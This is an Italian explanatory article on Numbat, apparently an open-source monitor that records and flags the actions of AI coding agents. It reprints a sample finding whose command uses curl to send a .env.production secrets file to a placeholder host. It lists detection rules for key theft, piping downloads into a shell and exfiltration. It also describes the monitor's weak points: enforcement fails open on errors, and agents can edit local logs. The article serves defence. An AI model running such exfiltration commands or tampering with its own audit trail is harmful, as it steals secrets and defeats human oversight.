Numbat: controlla cosa fanno gli agenti AI

Che cos'è Numbat

Numbat consente di sapere che cosa ha fatto un agente AI su una macchina di tua proprietà. Legge i callback degli hook e i file di sessione che gli agenti di coding producono già, li normalizza in un unico formato per gli eventi e li confronta con regole che si attivano in presenza di comportamenti come la lettura di una chiave privata SSH o l'invio diretto di un download a una shell. Perplexity lo ha rilasciato come software open source con licenza Apache 2.0; la prima release contrassegnata è del 29 July 2026.

Tutto ciò che segue proviene dal repository del progetto e dalla relativa documentazione, consultati il 2 August 2026. Quando Perplexity fa un'affermazione, questo articolo lo specifica. Non si tratta di un tutorial per l'installazione, perché il repository ha pochi giorni e i relativi comandi cambieranno.

Il problema: nessuno registra le operazioni eseguite dall'agente

Un agente di programmazione sul tuo VPS esegue comandi shell, legge file, scrive file e apre connessioni di rete, sempre con l'utente che gli hai assegnato. La cronologia della shell non registra nulla di tutto questo, perché l'agente non sta digitando nella tua shell. sshd registra il tuo accesso e nient'altro di ciò che il modello decide di fare in seguito. /var/log/auth.log rimane silenzioso, a meno che qualcosa non acceda a sudo. L'agente conserva una propria trascrizione, ma quel file si trova nella directory della sessione dell'agente, il suo formato cambia tra una release e l'altra e il processo dell'agente può scriverci.

Quindi, quando qualcuno chiede se l'agente ha letto .env.production martedì scorso, la risposta corretta, nella maggior parte dei server, è che non puoi verificarlo. È per colmare questa lacuna che esiste questo progetto.

Cosa sostiene Perplexity sulle funzionalità di Numbat

Il README descrive inizialmente lo strumento come una soluzione per «rendere visibile agli endpoint l'attività degli agenti AI, con rilevamento locale, blocco opzionale prima dell'azione e ricostruzione forense». In questo contesto, endpoint indica la macchina su cui viene eseguito l'agente, non un'appliance di rete che osserva dall'esterno. Si tratta di funzionalità distinte, con rilevanza diversa.

Il rilevamento viene eseguito sul dispositivo. Le regole sono scritte in CEL (Common Expression Language) e valutate localmente. Sono supportate anche regole per sequenze composte da più passaggi e regole personalizzate in YAML. Per attivare una regola, non è necessario che alcun dato lasci la macchina.

Il blocco è opzionale e limitato. Funziona soltanto tramite hook sincroni eseguiti prima dell'azione, sugli agenti che ne espongono uno, ed è disattivato finché non lo abiliti.

La ricostruzione avviene a posteriori. numbat scan analizza gli artefatti di sessione che un agente ha già scritto su disco, permettendo di esaminare attività precedenti all'installazione dello strumento. Il progetto delimita con precisione questa funzionalità: «La ricostruzione dei dati a riposo non equivale all'acquisizione di disco o memoria e non può recuperare attività che l'agente non ha persistito».

L'output è costituito da NDJSON con schema versionato (JSON delimitato da newline) e include eventi, rilevamenti, decisioni di enforcement, indicatori e riepiloghi delle scansioni. Alla versione dello schema 0.2.0, in v0.1.2, i record vengono inviati a stdout o a un file locale e, facoltativamente, tramite HTTP a un collector gestito dall'utente. Il progetto distribuisce un singolo binario statico Go, compilato senza cgo, per macOS, Linux e Windows su amd64 e arm64. Su un VPS Linux, quindi, è sufficiente un singolo file e non occorre installare prima alcun runtime.

Quali agenti può vedere effettivamente Numbat?

La matrice di copertura in docs/agent-coverage.md è l’elenco di riferimento e non è uniforme. Il progetto lo dichiara apertamente, senza nasconderlo. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI supportano sia la scansione degli artifact sia l’acquisizione in tempo reale tramite un hook pre-azione. OpenClaw riceve un plugin nativo a partire dalla versione 2026.7.1. Molte altre voci sono contrassegnate come deferred: significa che esiste un percorso per l’hook in tempo reale, ma non il parser degli artifact. Spesso il motivo è che l’agente salva la cronologia in SQLite con un write-ahead log, che non può essere letto in sicurezza mentre l’agente è in esecuzione. OpenCode e Cline appartenevano a questo gruppo quando la matrice è stata consultata il 2 agosto 2026.

Controlla la riga relativa al tuo agente prima di pianificare qualsiasi attività basata su questo strumento, perché il termine "supportato" ha un significato diverso in quasi ogni riga.

Come si presenta un rilevamento

Le regole hanno identificativi che ne indicano la funzione. secrets.read_private_key rileva una chiave SSH, credenziali AWS, una configurazione kube o un accesso a un registro di pacchetti. exec.download_pipe_shell si attiva quando l'output di curl o wget viene passato tramite pipe a un interprete. privilege.elevated_shell rileva una richiesta di una shell interattiva root tramite sudo, doas, su o pkexec. impact.cryptomining_launch corrisponde a binari e nomi di immagini noti per il mining.

Le regole di sequenza collegano gli eventi all'interno di una sessione. chain.secret_read_then_egress richiede la lettura di un file contenente un secret seguita da un comando che invia dati all'esterno. Il README pubblica il rilevamento seguente, ottenuto dalla riproduzione controllata di due callback pre-action di Claude Code, non da un incidente reale. Qui è ridotto ai campi rilevanti:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Si noti "confidence": "medium" all'interno del record e si consideri quanto afferma il progetto sull'intera categoria di output: "I rilevamenti sono corrispondenze di regole, non prove di compromissione." Uno script di deploy che legge una chiave e poi carica un build artifact corrisponderà alla stessa regola di sequenza. La corrispondenza è corretta, ma l'allarme è errato: è il comportamento normale di ogni strumento di rilevamento mai eseguito.

Il blocco è disabilitato per impostazione predefinita e, in caso di errore, consente il passaggio

Tutte le regole distribuite da Numbat sono solo di monitoraggio. Trasformarne una in una regola di blocco richiede un intervento esplicito: copiare il file YAML completo della regola in una directory propria, mantenere lo stesso id, aggiungere enforce: true, incrementare la versione, quindi convalidare e installare la policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Ora vediamo quanto sia opportuno affidarsi a questo meccanismo. Il deny di Numbat è una risposta restituita all'agent; è l'agent a rifiutare effettivamente la chiamata allo strumento. La guida all'enforcement descrive chiaramente cosa accade quando Numbat ha un problema: "I payload malformati, gli errori di valutazione pertinenti, i panic e gli errori di output sopprimono il deny di numbat." L'input dell'hook è limitato a 4 MiB e l'input che supera questo limite segue lo stesso percorso.

La guida descrive altrettanto chiaramente il limite di un deny che viene effettivamente restituito: "Fail-open significa che numbat non restituisce la risposta deny. Non garantisce che lo strumento venga eseguito: l'host potrebbe comunque richiedere una conferma, rifiutare l'operazione, andare in timeout oppure applicare un altro hook o un'altra policy."

In questo caso, quindi, l'enforcement è una protezione aggiuntiva, non un confine di sicurezza. Se il processo va in crash, Numbat non blocca l'azione, perché un monitor che blocca l'agent ogni volta che si verifica un problema verrebbe disinstallato nel giro di una settimana. Il compromesso è ragionevole. Non costruire però un modello di sicurezza che presupponga che il deny venga sempre restituito.

Dove si colloca Numbat rispetto a ciò che fai già

Numbat viene eseguito sull'endpoint, all'interno dell'albero dei processi dell'agent, e scrive per impostazione predefinita in ~/.numbat/records.ndjson. Un agent eseguito con il tuo utente può leggere quel file. Può anche modificarlo. La traccia di audit vale esattamente quanto l'isolamento che la protegge. Per questo tutti i controlli già presenti devono trovarsi davanti a Numbat, non dietro di esso.

Assegnare all'agent di coding una VM usa e getta limita ciò che un'esecuzione dannosa può raggiungere. Usare un account con privilegi minimi sul VPS impedisce all'agent di accedere ai file che non deve aprire. Tenere le credenziali fuori dal contesto dell'agent rende una corrispondenza secrets.read_private_key abbastanza rara da valere la pena di esaminarla quando si verifica. E la sandbox che configuri per Claude Code su un VPS resta il meccanismo che garantisce il contenimento. Il contenimento limita ciò che un'esecuzione dannosa può modificare o consultare, mentre annotare il motivo per cui il codice è strutturato in quel modo riduce la frequenza con cui l'agent esegue azioni abbastanza inattese da costringerti a consultare il log.

Numbat aggiunge la registrazione degli eventi. Per questo devi inviare i dati registrati in un punto che l'agent non possa raggiungere. A questo servono numbat ship e il sink HTTP. Una copia del flusso su una seconda macchina è ciò che distingue un file di log da una prova. Il modello degli eventi include anche i campi MCP (model context protocol). Di conseguenza, le chiamate agli strumenti che passano attraverso un server MCP che ospiti su un VPS finiscono nello stesso flusso dei comandi shell locali. Questo è importante perché quel percorso è invisibile a qualunque controllo che monitori soltanto bash. Lo stesso punto cieco riguarda un'istanza SearXNG configurata come backend di ricerca dell'agent, dove il rischio consiste in testo di pagine non attendibili inserito nel contesto del modello, non in un comando intercettabile da una regola.

Prima prova in sola lettura

Installa una versione fissata. Per go install è richiesto Go 1.26.5 o versione successiva. La pagina delle release mette a disposizione binari precompilati con checksum SHA-256, se preferisci non compilare dal codice sorgente.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents individua gli agent installati sul sistema. numbat scan analizza gli artefatti delle sessioni già presenti sul disco e stampa i record. Il README specifica che questi comandi «non installano hook né modificano la configurazione degli agent» e che numbat «non esegue mai agent o comandi trovati negli artefatti e invia richieste in uscita solo agli HTTP sink configurati». La scansione è in sola lettura e oscura i secret. L'output normale dei record non include mai una trascrizione raw completa.

Il passaggio successivo è la cattura live, che modifica effettivamente la configurazione degli agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all scrive eventi, risultati, indicatori e decisioni di enforcement applicabili in ~/.numbat/records.ndjson. Dal progetto derivano direttamente due avvertenze. Prima di poter essere eseguiti, gli hook potrebbero dover essere considerati attendibili all'interno dell'agent. Questa attendibilità deve essere verificata nuovamente dopo aver modificato flag come --enforce. Inoltre, hook status «verifica la configurazione, non l'esecuzione o la consegna», quindi una riga di stato corretta non dimostra che i record stiano arrivando a una destinazione.

Perché un repository così nuovo non è una dipendenza

Le release pubbliche sono v0.1.1 del 29 luglio 2026 e v0.1.2 del 1 agosto 2026. Quando questo articolo è stato scritto, il 2 agosto 2026, il repository aveva 597 stelle. Numeri che crescono così rapidamente riflettono il pubblico di Perplexity, non la solidità del codice. Una stella indica che qualcuno ha salvato la pagina per consultarla in seguito.

Il numero di versione indica chiaramente il livello di maturità del progetto. Le note di v0.1.2 riguardano soprattutto correzioni alla rimozione delle credenziali, oltre alla normalizzazione dei bundle dei casi e dei dati di telemetria. I bug nella rimozione dei dati sensibili sono il tipo di difetto previsto nelle fasi iniziali di uno strumento che deve leggere in sicurezza i transcript di altri programmi. Ce ne saranno altri, perché gli input provengono da una dozzina di agenti, ognuno dei quali modifica il proprio formato secondo tempistiche diverse.

Ne derivano due regole pratiche. Blocca il tag, mai @latest, in tutto ciò che conservi. Consideralo inoltre uno strumento in fase di valutazione, non un componente da cui dipendere, almeno finché lo schema dei record non smetterà di cambiare.

FAQ

Numbat blocca i comandi pericolosi degli agenti IA?

Solo se lo abiliti esplicitamente e soltanto con un approccio basato sul best effort. Tutte le regole incluse in Numbat sono in modalità di solo monitoraggio. Per bloccare un comando, copia il file YAML della regola in una directory di tua proprietà, mantieni il relativo id, aggiungi enforce: true, incrementa la versione e installa l'hook con --enforce. Anche in questo caso, il deny è una risposta restituita all'agente, che deve rifiutare la chiamata. Il progetto documenta un comportamento fail-open: payload malformati, errori di valutazione, panic ed errori di output sopprimono il deny. Usalo come ulteriore protezione, non come unico confine di sicurezza.

Quali agenti IA supporta Numbat?

La copertura varia in base all'agente ed è elencata in docs/agent-coverage.md nel repository. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI disponevano sia della scansione degli artifact sia della cattura live quando quella pagina è stata consultata il 2 agosto 2026; OpenClaw dispone invece di un plugin nativo dalla versione 2026.7.1. Molti altri agenti sono elencati con un percorso per l'hook live, ma senza un parser per gli artifact. In genere questo accade perché la cronologia delle sessioni è archiviata in un database SQLite che non è sicuro leggere mentre l'agente è in esecuzione. Leggi la riga relativa al tuo agente, perché in quel contesto il termine "supportato" comprende diversi livelli di integrazione.

L'agente può manomettere i record di Numbat?

Sì, se viene eseguito con lo stesso utente. Per impostazione predefinita, i record vengono salvati in ~/.numbat/records.ndjson sulla stessa macchina dell'agente. Qualsiasi processo con accesso in scrittura a quel percorso può quindi modificarli o eliminarli. Invia il flusso a un collector che l'agente non possa raggiungere, usando numbat ship o il sink HTTP, e conserva il file locale come copia di servizio. Anche per questo lo strumento integra l'isolamento invece di sostituirlo. Un agente confinato in una VM temporanea con un utente dotato del minimo privilegio ha un accesso molto più limitato al proprio audit trail.

Numbat è pronto per un server di produzione?

Non come controllo da cui dipendere. La prima release pubblica è stata la v0.1.1 il 29 luglio 2026, seguita dalla v0.1.2 il 1 agosto 2026. Di conseguenza, sia i flag sia lo schema dei record sono ancora soggetti a modifiche. L'esecuzione di numbat agents e numbat scan su un server è di sola lettura e comporta un rischio ridotto; consente inoltre di verificare cosa gli agenti hanno lasciato sul disco. Installare hook di enforcement su un server importante è una decisione diversa. In questo caso servono un tag fissato e un piano per gestire il comportamento anomalo dell'hook.